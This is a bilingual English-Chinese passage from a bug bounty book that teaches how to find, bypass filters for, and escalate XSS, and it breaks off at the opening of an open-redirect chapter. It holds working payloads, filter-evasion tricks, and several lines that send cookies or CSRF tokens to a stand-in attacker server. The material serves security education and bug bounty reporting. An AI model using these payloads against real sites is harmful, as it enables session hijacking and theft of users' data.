在用户输入被呈现在页面上的地方寻找XSS。不同类型的XSS处理过程会有所不同，但核心原则保持不变：检查反射的用户输入。

In this section, we’ll hunt for XSS in web applications. But it’s important to remember that XSS vulnerabilities can also arise outside normal web applications. You can hunt for XSS in applications that communicate via non-HTTP protocols such as SMTP, SNMP, and DNS. Sometimes commercial apps such as email apps and other desktop apps receive data from these protocols. If you are interested in these techniques, you can check out Offensive Security’s Advanced Web Attacks and Exploitation training: https://www.offensive-security.com/awae-oswe/ .

在本节中，我们将在Web应用程序中寻找XSS漏洞。但是请记住，XSS漏洞也可能出现在正常Web应用程序以外。您可以在通过非HTTP协议通信的应用程序中寻找XSS，例如SMTP，SNMP和DNS。有时商业应用程序，例如电子邮件应用程序和其他桌面应用程序，会从这些协议接收数据。如果您对这些技术感兴趣，可以查看Offensive Security的高级Web攻击和利用培训：https://www.offensive-security.com/awae-oswe/。

Before you start hunting for any vulnerability, it’s good to have Burp Suite or your preferred proxy on standby. Make sure you’ve configured your proxy to work with your browser. You can find instructions on how to do that in Chapter 4 .

在开始搜寻漏洞之前，最好先准备好Burp Suite或你所喜欢的代理工具。确保你已经将代理工具配置好可以与你的浏览器一起使用。你可以在第四章中找到如何配置代理工具的说明。

Step 1: Look for Input Opportunities

First, look for opportunities to submit user input to the target site. If you’re attempting stored XSS, search for places where input gets stored by the server and later displayed to the user, including comment fields, user profiles, and blog posts. The types of user input that are most often reflected back to the user are forms, search boxes, and name and username fields in sign-ups.

首先，寻找向目标网站提交用户输入的机会。如果你试图进行存储型 XSS 攻击，则需搜索服务器存储输入并稍后在评论字段、用户资料和博客文章中显示的位置。最常反映回用户的用户输入类型包括表单、搜索框以及注册时的姓名和用户名字段。

Don’t limit yourself to text input fields, either. Sometimes drop-down menus or numeric fields can allow you to perform XSS, because even if you can’t enter your payload on your browser, your proxy might let you insert it directly into the request. To do that, you can turn on your proxy’s traffic interception and modify the request before forwarding it to the server. For example, say a user input field seems to accept only numeric values on the web page, such as the age parameter in this POST request:

不要仅限于文本输入字段。有时下拉菜单或数值字段也可能允许你执行 XSS，因为即使你无法在浏览器上输入你的载荷，你的代理也可能让你直接将它插入请求中。为了做到这一点，你可以打开代理的流量拦截，并在将请求转发到服务器之前修改请求。例如，假设用户输入字段在网页上似乎只接受数字值，比如在这个 POST 请求中的年龄参数:

POST /edit_user_age

(Post request body)
age=20

You can still attempt to submit an XSS payload by intercepting the request via a web proxy and changing the input value:

你可以通过拦截请求并更改输入值来尝试提交 XSS 攻击载荷。

POST /edit_user_age

(Post request body)
age=<script>alert('XSS by Vickie');</script>

In Burp, you can edit the request directly in the Proxy tab ( Figure 6-6 ).

在Burp中，您可以直接通过代理选项卡编辑请求（图6-6）。

Figure 6-6 : Intercept the outgoing request to edit it before relaying it to the server.

图6-6：在将请求中继到服务器之前拦截请求并进行编辑。

After you’re done editing, click Forward to forward the request to the server ( Figure 6-7 ).

编辑完成后，单击“转发”将请求转发给服务器（图6-7）。

Figure 6-7 : Change the URL post request parameter to your XSS payload.

图6-7：将URL的POST请求参数更改为您的XSS有效载荷。

If you’re hoping to find reflected and DOM XSS, look for user input in URL parameters, fragments, or pathnames that get displayed to the user. A good way to do this is to insert a custom string into each URL parameter and check whether it shows up in the returned page. Make this string specific enough that you’ll be sure your input caused it if you see it rendered. For example, I like to use the string "XSS_BY_VICKIE" . Insert your custom string into every user-input opportunity you can find. Then, when you view the page in the browser, search the page’s source code for it (you can access a page’s source code by right-clicking a page and selecting View Source) by using your browser’s page-search functionality (usually triggered by pressing CTRL -F). This should give you an idea of which user input fields appear in the resulting web page.

如果你希望找到反射型和DOM型跨站脚本漏洞，就要寻找在 URL 参数、片段或路径名中被展示给用户的用户输入。一个好的方法是在每个URL参数中插入一个自定义字符串，检查它是否出现在返回的页面中。这个字符串应该是足够特定的，以便你能确信它是由你的输入引起的。例如，我喜欢使用字符串"XSS_BY_VICKIE"。把你的自定义字符串插入到尽可能多的用户输入机会中。然后，当你在浏览器中查看网页时，使用浏览器的页面搜索功能（通常是通过按下 CTRL-F 触发）在页面源代码中搜索它（你可以通过右键单击页面并选择查看源代码来访问页面的源代码），这应该可以让你知道哪些用户输入字段出现在生成的网页中。

Step 2: Insert Payloads

Once you’ve identified the user-input opportunities present in an application, you can start entering a test XSS payload at the discovered injection points. The simplest payload to test with is an alert box:

一旦你发现了应用程序中存在的用户输入机会，就可以开始在发现的注入点输入测试的XSS负载。最简单的负载测试是一个提示框：

<script>alert('XSS by Vickie');</script>

If the attack succeeds, you should see a pop-up on the page with the text XSS by Vickie .

如攻击成功，您将在页面上看到一个弹窗，上面显示“Vickie的XSS”。

But this payload won’t work in typical web applications, save the most defenseless, because most websites nowadays implement some sort of XSS protection on their input fields. A simple payload like this one is more likely to work on IoT or embedded applications that don’t use the latest frameworks. If you are interested in IoT vulnerabilities, check out OWASP’s IoTGoat project at https://github.com/OWASP/IoTGoat/ . As XSS defenses become more advanced, the XSS payloads that get around these defenses grow more complex too.

但这种负载在典型的网络应用程序中无法工作，只能攻击最脆弱的网站，因为现在大多数网站都在它们的输入域中实现了一些XSS保护。像这样的简单负载更有可能在不使用最新框架的物联网或嵌入式应用程序中起作用。如果您对物联网漏洞感兴趣，请查看OWASP的IoTGoat项目，网址为https://github.com/OWASP/IoTGoat/。随着XSS防御变得更加先进，绕过这些防御的XSS负载也变得更加复杂。

More Than a <script> Tag

Inserting <script> tags into victim web pages isn’t the only way to get your scripts executed in victim browsers. There are a few other tricks. First, you can change the values of attributes in HTML tags. Some HTML attributes allow you to specify a script to run if certain conditions are met. For example, the onload event attribute runs a specific script after the HTML element has loaded:

将<script>标签插入受害者网页并不是让你的脚本在受害者浏览器中执行的唯一方法。还有一些其他的技巧。首先，你可以改变HTML标签中属性的值。一些HTML属性允许你在满足某些条件时指定要运行的脚本。例如，onload事件属性在HTML元素加载后运行一个特定的脚本：

<img onload=alert('The image has been loaded!') src="example.png">

Similarly, the onclick event attribute specifies the script to be executed when the element is clicked, and onerror specifies the script to run in case an error occurs loading the element. If you can insert code into these attributes, or even add a new event attribute into an HTML tag, you can create an XSS.

类似地，onclick事件属性指定在单击元素时要执行的脚本，而onerror指定在加载元素时发生错误时要运行的脚本。如果您可以在这些属性中插入代码，甚至在HTML标记中添加新的事件属性，您就可以创建XSS攻击。

Another way you can achieve XSS is through special URL schemes, like javascript: and data: . The javascript: URL scheme allows you to execute JavaScript code specified in the URL. For example, entering this URL will cause an alert box with the text XSS by Vickie to appear:

你可以通过特殊的URL方案（如javascript：和data：）来实现XSS攻击。javascript：URL方案允许你执行在URL中指定的JavaScript代码。例如，输入此URL将导致一个显示文本“XSS by Vickie”的警示框出现。

javascript:alert('XSS by Vickie')

This means that if you make the user load a javascript: URL, you can achieve XSS as well. Data URLs, those that use the data: scheme, allow you to embed small files in a URL. You can use these to embed JavaScript code into URLs too:

这意味着，如果你让用户加载一个javascript: URL，你也可以实现XSS。数据URL，那些使用data: 方案的URL，允许你在URL中嵌入小文件。你也可以使用这些来在URL中嵌入JavaScript代码。

data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTIGJ5IFZpY2tpZScpPC9zY3JpcHQ+"

This URL will also generate an alert box , because the included data in the data URL is the base64-encoded version of the following script:

此链接也将生成警示框，因为数据 URL 中包含的数据是以下脚本的 Base64 编码版本：

<script>alert('XSS by Vickie')</script>

Documents contained within data: URLs do not need to be base64 encoded. For example, you can embed the JavaScript directly in the URL as follows, but base64 encoding can often help you bypass XSS filters:

数据URL中包含的文档无需进行base64编码。例如，您可以将JavaScript直接嵌入URL中，但base64编码通常可以帮助您绕过XSS过滤器。

data:text/html,<script>alert('XSS by Vickie')</script>

You can utilize these URLs to trigger XSS when a site allows URL input from users. A site might allow the user to load an image by using a URL and use it as their profile picture, like this:

当一个网站允许用户输入URL时，你可以利用这些URL触发XSS攻击。一个网站可能允许用户使用URL加载图片并将其作为他们的个人资料图片，如下所示：

https://example.com/upload_profile_pic?url=IMAGE_URL

The application will then render a preview on the web page by inserting the URL into an <img> tag. If you insert a JavaScript or data URL, you can trick the victim’s browser into loading your JavaScript code:

应用程序将通过将URL插入到<img>标记中，在Web页面上呈现预览。如果您插入JavaScript或数据URL，则可以欺骗受害者的浏览器加载您的JavaScript代码：

<img src="IMAGE_URL"/>

There are many more ways to execute JavaScript code to bypass XSS protection. You can find more example payloads on PortSwigger at https://portswigger.net/web-security/cross-site-scripting/cheat-sheet/ . Different browsers also support different tags and event handlers, so you should always test by using multiple browsers when hunting for XSS.

绕过XSS保护的执行JavaScript代码的方法还有很多种。您可以在PortSwigger上找到更多示例负载，网址为https://portswigger.net/web-security/cross-site-scripting/cheat-sheet/。不同的浏览器也支持不同的标签和事件处理程序，因此在寻找XSS时，您应该始终使用多个浏览器进行测试。

Closing Out HTML Tags

When inserting an XSS payload, you’ll often have to close out a previous HTML tag by including its closing angle bracket. This is necessary when you’re placing your user input inside one HTML element but want to run JavaScript using a different HTML element. You have to complete the previous tag before you can start a new one to avoid causing a syntax error. Otherwise, the browser won’t interpret your payload correctly. For example, if you’re inserting input into an <img> tag, you need to close out the <img> tag before you can start a <script> tag. Here is the original <img> tag with a placeholder for user input:

在插入 XSS 载荷时，通常必须通过包含其闭合角括号来关闭先前的 HTML 标签。当您将用户输入放入一个 HTML 元素中但希望使用另一个 HTML 元素运行 JavaScript 时，这是必要的。在开始新标签之前，必须完成先前的标签，以避免导致语法错误。否则，浏览器不会正确解释您的有效载荷。例如，如果您将输入插入到 <img> 标签中，则需要在开始 <script> 标签之前关闭 <img> 标签。以下是具有用户输入占位符的原始 <img> 标签：

<img src="USER_INPUT">

To close out the tag, your payload has to include the ending of an <img> tag before the JavaScript. The payload might look like this:

为了关闭标签，您的负载必须包括JavaScript之前的<img>标签的结尾。有效负载可能如下所示：

"/><script>location="http://attacker.com";</script>

When injected into the <img> tag, the resulting HTML will look like this (with the injected portion in bold):

当它被注入到<img>标签中时，生成的HTML将会看起来像这样（被注入的部分是粗体）：

<img src=""/><script>location="http://attacker.com";</script>">

This payload closes the string that was supposed to contain the user input by providing a double quote, then closes the <img> tag with a tag ending in /> . Finally, the payload injects a complete script tag after the <img> tag.

此负载通过提供一个双引号关闭原本应包含用户输入的字符串，然后使用以/>结束的标签关闭<img>标签。最后，在<img>标签之后注入完整的<script>标签。

If your payload is not working, you can check whether your payload caused syntax errors in the returned document. You can inspect the returned document in your proxy and look for unclosed tags or other syntax issues. You can also open your browser’s console and see if the browser runs into any errors loading the page. In Firefox, you can open the console by right-clicking the page and choosing Inspect Element ▶ Console .

如果您的有效载荷无法工作，请检查返回文档中是否存在语法错误引起的问题。您可以在代理中检查返回文档并查找未封闭标签或其他语法问题。您还可以打开浏览器的控制台，查看浏览器是否遇到任何加载页面的错误。在 Firefox 中，您可以通过右键单击页面并选择“检查元素”▶“控制台”来打开控制台。

You can find more common XSS payloads online. Table 6-1 lists some examples.

你可以在网上找到更常见的XSS负载。表6-1列出了一些例子。

Table 6-1 : Common XSS Payloads

表 6-1：常见的 XSS 载荷

Payload | Purpose
<script>alert(1)</script> | This is the most generic XSS payload. It will generate a pop-up box if the payload succeeds.
<iframe src=javascript:alert(1)> | This payload loads JavaScript code within an iframe. It’s useful when <script> tags are banned by the XSS filter.
<body onload=alert(1)> | This payload is useful when your input string can’t contain the term script . It inserts an HTML element that will run JavaScript automatically after it’s loaded.
"><img src=x onerror=prompt(1);> | This payload closes out the previous tag. It then injects an <img> tag with an invalid source URL. Once the tag fails to load, it will run the JavaScript specified in the onerror attribute.
<script>alert(1)<!– | <!- is the start of an HTML comment. This payload will comment out the rest of the line in the HTML document to prevent syntax errors.
<a onmouseover"alert(1)">test</a> | This payload inserts a link that will cause JavaScript to execute after a user hovers over the link with their cursor.
<script src=//attacker.com/test.js> | This payload causes the browser to load and run an external script hosted on the attacker’s server.

Hackers have designed many more creative payloads. Search XSS payloads online for more ideas. That said, taking a long list of payloads and trying them one by one can be time-consuming and unproductive. Another way of approaching manual XSS testing is to insert an XSS polyglot , a type of XSS payload that executes in multiple contexts. For example, it will execute regardless of whether it is inserted into an <img> tag, a <script> tag, or a generic <p> tag and can bypass some XSS filters. Take a look at this polyglot payload published by EdOverflow at https://polyglot.innerht.ml/ :

黑客设计了许多更有创意的有效负载。在线搜索XSS有效负载以获取更多想法。话虽如此，一个一个地尝试长列表的有效负载可能耗费时间且无效。手动测试XSS的另一种方法是插入XSS多语言，这是一种在多个上下文中执行的类型的XSS有效负载。例如，它将在无论是插入到<img>标记、<script>标记还是通用的<p>标记中执行，并可以绕过一些XSS过滤器。请查看EdOverflow在https://polyglot.innerht.ml/上发布的这个多语言有效负载：

javascript:"/*\"/*`/*' /*</template>
</textarea></noembed></noscript></title>
</style></script>-->&lt;svg onload=/*<html/*/onmouseover=alert()//>

The details of this payload are beyond the scope of the book, but it contains multiple ways of creating an XSS—so if one method fails, another one can still induce the XSS.

本书不涉及此有效载荷的细节，但它包含多种创建XSS的方法-因此，如果一种方法失败，另一种方法仍然可以诱发XSS。

Another way of testing for XSS more efficiently is to use generic test strings instead of XSS payloads. Insert a string of special HTML characters often used in XSS payloads, such as the following: >'<"//:=;!-- . Take note of which ones the application escapes and which get rendered directly. Then you can construct test XSS payloads from the characters that you know the application isn’t properly sanitizing.

另一种更有效地测试XSS的方法是使用通用的测试字符而不是XSS负载。插入一组特殊的HTML字符，通常用于XSS负载，例如以下字符：> '<“//：= ; !--。注意应用程序转义哪些字符以及哪些直接呈现。然后，您可以从您知道应用程序未正确净化的字符构建测试XSS负载。

Blind XSS flaws are harder to detect; since you can’t detect them by looking for reflected input, you can’t test for them by trying to generate an alert box. Instead, try making the victim’s browser generate a request to a server you own. For example, you can submit the following payload, which will make the victim’s browser request the page /xss on your server:

"盲目的XSS漏洞更难以检测；因为您无法通过寻找反射的输入来检测它们，所以您无法尝试生成警报框来测试它们。相反，尝试使受害者的浏览器生成请求并发送至您拥有的服务器。例如，您可以提交以下有效负载，这将使受害者的浏览器请求您服务器上的页面/xss："

<script src='http://YOUR_SERVER_IP/xss'></script>

Then, you can monitor your server logs to see if anyone requests that page. If you see a request to the path /xss , a blind XSS has been triggered! Tools like XSS Hunter ( https://xsshunter.com/features ) can automate this process. We’ll also talk more about setting up a server to test for multiple types of vulnerabilities in Chapter 13 .

然后，您可以监视服务器日志以查看是否有人请求该页面。如果您看到对路径/xss的请求，则已触发盲目XSS！像XSS Hunter（https://xsshunter.com/features）这样的工具可以自动化此过程。我们还将在第13章中更多地探讨设置服务器以测试多种类型漏洞的内容。

Finally, although hackers typically discover new XSS vectors manually, a good way to automatically test a site for already-known XSS vectors is through fuzzing. We’ll talk about fuzzing and automatic bug finding in Chapter 25 .

尽管黑客通常手动发现新的XSS向量，但自动测试已知的XSS向量的网站的好方法是通过模糊测试。我们将在第25章中讨论模糊测试和自动漏洞发现。

Step 3: Confirm the Impact

Check for your payload on the destination page. If you’re using an alert function, was a pop-up box generated on the page? If you’re using a location payload, did your browser redirect you offsite?

在目的页面上检查您的有效载荷。如果您使用警报功能，页面上是否生成了弹出框？如果您使用位置有效载荷，您的浏览器是否将您重定向到外部网站？

Be aware that sites might also use user input to construct something other than the next returned web page. Your input could show up in future web pages, email, and file portals. A time delay also might occur between when the payload is submitted and when the user input is rendered. This situation is common in log files and analytics pages. If you’re targeting these, your payload might not execute until later, or in another user’s account. And certain XSS payloads will execute under only certain contexts, such as when an admin is logged in or when the user actively clicks, or hovers over, certain HTML elements. Confirm the impact of the XSS payload by browsing to the necessary pages and performing those actions.

请注意，网站可能会使用用户输入来构建除下一个返回的网页外的其他内容。您的输入可能会出现在未来的网页、电子邮件和文件门户中。提交有效负载和呈现用户输入之间也可能会出现时间延迟。这种情况在日志文件和分析页面中很常见。如果您的目标是这些页面，您的有效负载可能直到稍后，或在另一个用户的帐户中才会执行。某些 XSS 负载仅在特定上下文中执行，例如管理员登录时或用户主动单击或悬停在某些 HTML 元素上时。浏览必要页面并执行这些操作，以确认 XSS 负载的影响。

Bypassing XSS Protection

Most applications now implement some sort of XSS protection in their input fields. Often, they’ll use a blocklist to filter out dangerous expressions that might be indicative of XSS. Here are some strategies for bypassing this type of protection.

大多数应用程序现在在其输入字段中实施某种XSS保护。通常，它们将使用块列表来过滤可能表明XSS的危险表达式。以下是规避这种保护的一些策略。

Alternative JavaScript Syntax

Often, applications will sanitize <script> tags in user input. If that is the case, try executing XSS that doesn’t use a <script> tag. For example, remember that in certain scenarios, you can specify JavaScript to run in other types of tags. When you try to construct an XSS payload, you can also try to insert code into HTML tag names or attributes instead. Say user input is passed into an HTML image tag, like this:

通常，应用程序会对用户输入中的<script>标签进行清理。如果是这种情况，请尝试执行不使用<script>标签的XSS。例如，请记住，在某些情况下，您可以指定在其他类型的标记中运行JavaScript。在尝试构造XSS有效载荷时，您也可以尝试将代码插入HTML标记名称或属性中。例如，假设用户输入被传递到HTML图像标记中，如下所示：

<img src="USER_INPUT">

Instead of closing out the image tag and inserting a script tag, like this

不要关闭图像标签并插入脚本标签，应该这样做：

<img src="/><script>alert('XSS by Vickie');</script>"/>

you can insert the JavaScript code directly as an attribute to the current tag:

你可以把 JavaScript 代码直接作为当前标签的属性插入：

<img src="123" onerror="alert('XSS by Vickie');"/>

Another way of injecting code without the <script> tag is to use the special URL schemes mentioned before. This snippet will create a Click me! link that will generate an alert box when clicked:

另外一种在不使用<script>标签的情况下注入代码的方式是使用之前提到的特殊URL方案。以下代码片段将创建一个“点击我！”链接，单击后将生成一个警告框：

<a href="javascript:alert('XSS by Vickie')>Click me!</a>"

Capitalization and Encoding

You can also mix different encodings and capitalizations to confuse the XSS filter. For example, if the filter filters for only the string "script" , capitalize certain letters in your payload. Since browsers often parse HTML code permissively and will allow for minor syntax issues like capitalization, this won’t affect how the script tag is interpreted:

你也可以混合不同的编码和大小写来迷惑XSS过滤器。例如，如果过滤器只过滤字符串"script"，则可以在负载中将某些字母大写。由于浏览器通常宽松解析HTML代码并允许大小写等小的语法问题，这不会影响脚本标记的解释方式。

<scrIPT>location='http://attacker_server_ip/c='+document.cookie;</scrIPT>

If the application filters special HTML characters, like single and double quotes, you can’t write any strings into your XSS payload directly. But you could try using the JavaScript fromCharCode() function, which maps numeric codes to the corresponding ASCII characters, to create the string you need. For example, this piece of code is equivalent to the string "http://attacker_server_ip/?c=" :

如果应用程序过滤特殊的HTML字符，比如单引号和双引号，你就不能直接将任何字符串写入XSS有效负载中。但是你可以尝试使用JavaScript fromCharCode()函数，将数字代码映射到相应的ASCII字符，来创建所需的字符串。例如，以下代码段等同于字符串"http://attacker_server_ip/?c="。

String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 97, 116, 116, 97, 99, 107,
101, 114, 95, 115, 101, 114, 118, 101, 114, 95, 105, 112, 47, 63, 99, 61)

This means you can construct an XSS payload without quotes, like this:

这意味着您可以构建一个没有引号的 XSS 载荷，如下所示：

<scrIPT>location=String.fromCharCode(104, 116, 116, 112, 58, 47,
47, 97, 116, 116, 97, 99, 107, 101, 114, 95, 115, 101, 114, 118,
101, 114, 95, 105, 112, 47, 63, 99, 61)+document.cookie;</scrIPT>

The String.fromCharCode() function returns a string, given an input list of ASCII character codes. You can use this piece of code to translate your exploit string to an ASCII number sequence by using an online JavaScript editor, like https://js.do/ , to run the JavaScript code or by saving it into an HTML file and loading it in your browser:

String.fromCharCode() 函数返回一个字符串，给定一个 ASCII 字符代码列表输入。您可以使用此代码段，通过使用在线 JavaScript 编辑器（如 https://js.do/）运行 JavaScript 代码或将其保存到 HTML 文件中并在浏览器中加载，将 exploit 字符串转换为 ASCII 数字序列。

<script>
1 function ascii(c){
  return c.charCodeAt();
}
2 encoded = "INPUT_STRING".split("").map(ascii);
3 document.write(encoded);
</script>

The ascii() function 1 converts characters to their ASCII numeric representation. We run each character in the input string through ascii() 2 . Finally, we write the translated string to the document 3 . Let’s translate the payload http://attacker_server_ip/?c= by using this code:

ascii（）函数将字符转换为它们的ASCII数字表示形式。我们将输入字符串中的每个字符通过ascii（）函数运行。最后，我们将翻译后的字符串写入文件。使用此代码翻译有效负载http://attacker_server_ip/？c =。

<script>
function ascii(c){
  return c.charCodeAt();
}
encoded = "http://attacker_server_ip/?c=".split("").map(ascii);
document.write(encoded);
</script>

This JavaScript code should print out "104, 116, 116, 112, 58, 47, 47, 97, 116, 116, 97, 99, 107, 101, 114, 95, 115, 101, 114, 118, 101, 114, 95, 105, 112, 47, 63, 99, 61" . You can then use it to construct your payload by using the fromCharCode() method.

这段 JavaScript 代码应该会打印出 "104, 116, 116, 112, 58, 47, 47, 97, 116, 116, 97, 99, 107, 101, 114, 95, 115, 101, 114, 118, 101, 114, 95, 105, 112, 47, 63, 99, 61"。然后，您可以使用 fromCharCode() 方法来构造有效载荷。

Filter Logic Errors

Finally, you could exploit any errors in the filter logic. For example, sometimes applications remove all <script> tags in the user input to prevent XSS, but do it only once. If that’s the case, you can use a payload like this:

最后，您可以利用过滤逻辑中的任何错误。例如，有时应用程序会删除用户输入中的所有<script>标签以防止XSS，但只做一次。如果是这种情况，您可以使用此类有效负载：

<scrip<script>t>
location='http://attacker_server_ip/c='+document.cookie;
</scrip</script>t>

Notice that each <script> tag cuts another <script> tag in two. The filter won’t recognize those broken tags as legitimate, but once the filter removes the intact tags from this payload, the rendered input becomes a perfectly valid piece of JavaScript code:

请注意每个<script>标记都会将另一个<script>标记分成两个部分。过滤器不会将这些断裂的标记识别为合法标记，但一旦过滤器从这个有效载荷中移除完整的标记，渲染的输入就变成了一个完美有效的JavaScript代码。

<script>location='http://attacker_server_ip/c='+document.cookie;</script>

These are just a handful of the filter-bypass techniques that you can try. XSS protection is difficult to do right, and hackers are constantly coming up with new techniques to bypass protection. That’s why hackers are still constantly finding and exploiting XSS issues in the wild. For more filter-bypass ideas, check out OWASP’s XSS filter evasion cheat sheet ( https://owasp.org/www-community/xss-filter-evasion-cheatsheet ). You can also simply Google for XSS filter bypass for more interesting articles.

这些只是你可以尝试的规避过滤器技术的一小部分。正确执行XSS保护非常困难，而黑客不断想出新技术来规避保护。这就是为什么黑客仍在野外不断发现和利用XSS问题。要了解更多规避过滤器的想法，请查阅OWASP的XSS过滤器逃避秘籍（https://owasp.org/www-community/xss-filter-evasion-cheatsheet）。您还可以直接搜索XSS过滤器规避以获取更多有趣的文章。

Escalating the Attack

The impact of XSS varies because of several factors. For instance, the type of XSS determines the number of users who could be affected. Stored XSS on a public forum can realistically attack anyone who visits that forum page, so stored XSS is considered the most severe. On the other hand, reflected or DOM XSS can affect only users who click the malicious link, and self-XSS requires a lot of user interaction and social engineering to execute, so they are normally considered lower impact.

XSS的影响因素很多。例如，XSS类型决定了可能受到攻击的用户数量。在公共论坛上存储的XSS可以实际攻击到访问该论坛页面的任何人，因此存储的XSS被认为是最严重的。另一方面，反射或DOM XSS只能影响点击恶意链接的用户，而自我XSS需要大量用户交互和社交工程才能执行，因此通常被认为是较低影响力的。

The identities of the affected users matter too. Let’s say a stored XSS vulnerability is on a site’s server logs. The XSS can affect system administrators and allow attackers to take over their sessions. Since the affected users are accounts of high privilege, the XSS can compromise the integrity of the entire application. You might gain access to customer data, internal files, and API keys. You might even escalate the attack into RCE by uploading a shell or execute scripts as the admin.

受影响用户的身份也很重要。例如，一个存储型XSS漏洞存在于某个站点的服务器日志中。该漏洞可能会影响系统管理员，并允许攻击者接管其会话。由于受影响的用户具有高特权帐户，因此XSS漏洞可能会危及整个应用程序的完整性。您可能会获得客户数据、内部文件和API密钥的访问权限。您甚至可以通过上传Shell或作为管理员执行脚本来将攻击升级为RCE。

If, instead, the affected population is the general user base, XSS allows attackers to steal private data like cookies and session tokens. This can allow attackers to hijack any user’s session and take over the associated account.

如果受影响的人群是普通用户，XSS攻击允许攻击者窃取私人数据，例如cookies和会话标记。这可以让攻击者劫持任何用户的会话并接管相关账户。

Most of the time, XSS can be used to read sensitive information on the victim’s page. Since scripts executed during an XSS attack run as the target page, the script is able to access any information on that page. This means that you can use XSS to steal data and escalate your attack from there. This can be done by running a script that sends the data back to you. For example, this code snippet reads the CSRF token embedded on the victim’s page and sends it to the attacker’s server as a URL parameter named token . If you can steal a user’s CSRF tokens, you can execute actions on their behalf by using those tokens to bypass CSRF protection on the site. (See Chapter 9 for more on CSRF.)

大多数情况下，XSS 可用于读取受害者页面上的敏感信息。由于在 XSS 攻击期间执行的脚本运行为目标页面，因此该脚本能够访问该页面上的任何信息。这意味着可以使用 XSS 偷取数据并从那里升级攻击。这可以通过运行发送数据回您的脚本来完成。例如，此代码片段读取嵌入在受害者页面上的 CSRF 令牌，并将其作为名为令牌的 URL 参数发送到攻击者的服务器。如果您可以窃取用户的 CSRF 令牌，则可以使用这些令牌绕过站点上的 CSRF 保护代表他们执行操作。 （有关 CSRF 的更多信息，请参见第 9 章。）

var token = document.getElementsById('csrf-token')[0];
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://attacker_server_ip/?token="+token, true);
xhr.send(null);

XSS can also be used to dynamically alter the page the victim sees, so you can replace the page with a fake login page and trick the user into giving you their credentials (often called phishing ). XSS can also allow attackers to automatically redirect the victim to malicious pages and perform other harmful operations while posing as the legit site, such as installing malware. Before reporting the XSS you found, make sure to assess the full impact of that particular XSS to include in your vulnerability report.

XSS也可以动态改变受害者所看到的页面，这样你就可以用一个虚假的登录页面来替换原本页面，欺骗用户输入他们的密码（通常称为网络钓鱼）。XSS也可以让攻击者自动将受害者重定向到恶意页面并伪装成合法网站进行其他有害操作，例如安装恶意软件。在报告你发现的XSS之前，请确保评估该特定XSS的全部影响以在漏洞报告中予以考虑。

Automating XSS Hunting

XSS hunting can be time-consuming. You might spend hours inspecting different request parameters and never find any XSS. Fortunately, you can use tools to make your work more efficient.

XSS 搜索可能耗费很多时间。你可能会花费数小时检查不同请求参数，却始终找不到任何 XSS。幸运的是，你可以使用工具使你的工作更加高效。

First, you can use browser developer tools to look for syntax errors and troubleshoot your payloads. I also like to use my proxy’s search tool to search server responses for reflected input. Finally, if the program you are targeting allows automatic testing, you can use Burp intruder or other fuzzers to conduct an automatic XSS scan on your target. We will talk about this in Chapter 25 .

首先，你可以使用浏览器开发工具查找语法错误并排除你的有效载荷的问题。我也喜欢使用代理的搜索工具在服务器响应中搜索反射输入。最后，如果你针对的程序允许自动测试，你可以使用Burp Intruder或其他模糊测试工具对目标进行自动XSS扫描。我们将在第25章讨论。

Finding Your First XSS!

Jump right into hunting for your first XSS! Choose a target and follow the steps we covered in this chapter:

直接开始猎捕你的第一个XSS漏洞！选择一个目标，按照本章涉及的步骤进行操作：

Look for user input opportunities on the application. When user input is stored and used to construct a web page later, test the input field for stored XSS. If user input in a URL gets reflected back on the resulting web page, test for reflected and DOM XSS.

Insert XSS payloads into the user input fields you’ve found. Insert payloads from lists online, a polyglot payload, or a generic test string.

Confirm the impact of the payload by checking whether your browser runs your JavaScript code. Or in the case of a blind XSS, see if you can make the victim browser generate a request to your server.

If you can’t get any payloads to execute, try bypassing XSS protections.

Automate the XSS hunting process with techniques introduced in Chapter 25 .

Consider the impact of the XSS you’ve found: who does it target? How many users can it affect? And what can you achieve with it? Can you escalate the attack by using what you’ve found?

Send your first XSS report to a bug bounty program!

7
Open Redirects

Sites often use HTTP or URL parameters to redirect users to a specified URL without any user action. While this behavior can be useful, it can also cause open redirects , which happen when an attacker is able to manipulate the value of this parameter to redirect the user offsite. Let’s discuss this common bug, why it’s a problem, and how you can use it to escalate other vulnerabilities you find.

网站通常使用HTTP或URL参数将用户重定向到指定的URL，而不需要任何用户操作。虽然这种行为可能很有用，但也可能导致开放重定向。当攻击者能够操纵此参数的值以将用户重定向到站外时，就会发生这种情况。让我们讨论这个常见的漏洞，为什么它是个问题，以及如何利用它来升级您发现的其他漏洞。

Mechanisms

Websites often need to automatically redirect their users. For example, this scenario commonly occurs when unauthenticated users try to access a page that requires logging in. The website will usually redirect those users to the login page, and then return them to their original location after they’re authenticated. For example, when these users visit their account dashboards at https://example.com/dashboard , the application might redirect them to the login page at https://example.com/login.

网站经常需要自动重定向其用户。例如，当未经验证的用户尝试访问需要登录的页面时，通常会发生这种情况。网站通常会将这些用户重定向到登录页面，然后在它们验证后将它们返回到原始位置。例如，当这些用户访问其帐户仪表板https://example.com/dashboard时，应用程序可能会将它们重定向到https://example.com/login登录页面。

To later redirect users to their previous location, the site needs to remember which page they intended to access before they were redirected to the login page. Therefore, the site uses some sort of redirect URL parameter appended to the URL to keep track of the user’s original location. This parameter determines where to redirect the user after login. For example, the URL https://example.com/login?redirect=https://example.com/dashboard will redirect to the user’s dashboard, located at https://example.com/dashboard , after login. Or if the user was originally trying to browse their account settings page, the site would redirect the user to the settings page after login, and the URL would look like this: https://example.com/login?redirect=https://example.com/settings . Redirecting users automatically saves them time and improves their experience, so you’ll find many applications that implement this functionality.

为后续将用户重定向到之前访问的位置，网站需要记住在重定向到登录页面前他们想要访问的页面。因此，网站使用某种重定向URL参数附加到URL上以跟踪用户的原始位置。该参数确定登录后重定向用户的位置。例如，URL https://example.com/login?redirect=https://example.com/dashboard 将在登录后重定向到用户的仪表板，位于 https://example.com/dashboard。或者，如果用户最初尝试浏览其账户设置页面，则网站将在登录后重定向用户到设置页面，URL看起来像这样：https://example.com/login?redirect=https://example.com/settings。自动重定向用户可以节省他们的时间并改善他们的使用体验，因此有许多应用程序实现此功能。

